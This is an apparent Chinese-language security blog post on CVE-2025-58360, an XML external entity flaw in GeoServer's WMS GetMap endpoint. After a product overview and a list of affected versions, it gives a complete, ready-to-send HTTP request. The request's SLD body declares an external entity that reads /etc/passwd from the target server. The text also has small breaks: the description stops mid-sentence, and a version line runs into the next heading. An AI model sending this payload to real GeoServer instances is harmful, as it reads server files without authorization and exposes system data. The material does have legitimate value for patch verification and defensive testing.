
0x00 前言
GeoServer是基于Java 的软件服务器,允许用户查看和编辑地理空间数据。使用开放地理空间联盟(OGC)提出的开放标准,GeoServer在地图创建和数据共享方面具有极大的灵活性。
GeoServer允许您向世界显示您的空间信息。实施Web地图服务(WMS)标准,GeoServer可以创建各种输出格式的地图。一个免费的地图库 OpenLayers 已集成到GeoServer中,从而使地图生成快速简便。GeoServer基于GeoTools(一种开放源 Java GIS 工具包)构建。
兼容WMS和WFS特性,支持PostgreSQL、Shapefile、ArcSDE、Oracle、VPF、MySQL、MapInfo,支持上百种投影,能够将网络地图输出为jpeg、gif、png、SVG、KML等格式,能够运行在任何基于J2EE/Servlet容器之上,嵌入MapBuilder支持AJAX的地图客户端OpenLayers,除此之外还包括许多其他的特性。
0x01 漏洞描述
GeoServer XML外部实体注入漏洞(XXE)漏洞存在于/geoserver/wms端点的WMS GetMap请求中。当服务器接收XML形式的SLD样式定义时,由于解析器未正确禁用外部实体,攻击者可构造恶意XML注入实体引用,进而:
0x02 CVE编号
CVE-2025-58360
0x03 影响版本
GeoServer < 2.25.6
2.26.0 <= GeoServer < 2.26.20x04 漏洞详情
POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&layers=topp:states&bbox=-130,24,-66,50&width=800&height=400&srs=EPSG:4326&format=image/png HTTP/1.1
Host: ip
Content-Type: application/vnd.ogc.sld+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">
<NamedLayer>
<Name>&xxe;</Name>
<UserStyle/>
</NamedLayer>
</StyledLayerDescriptor>
0x05 参考链接
https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525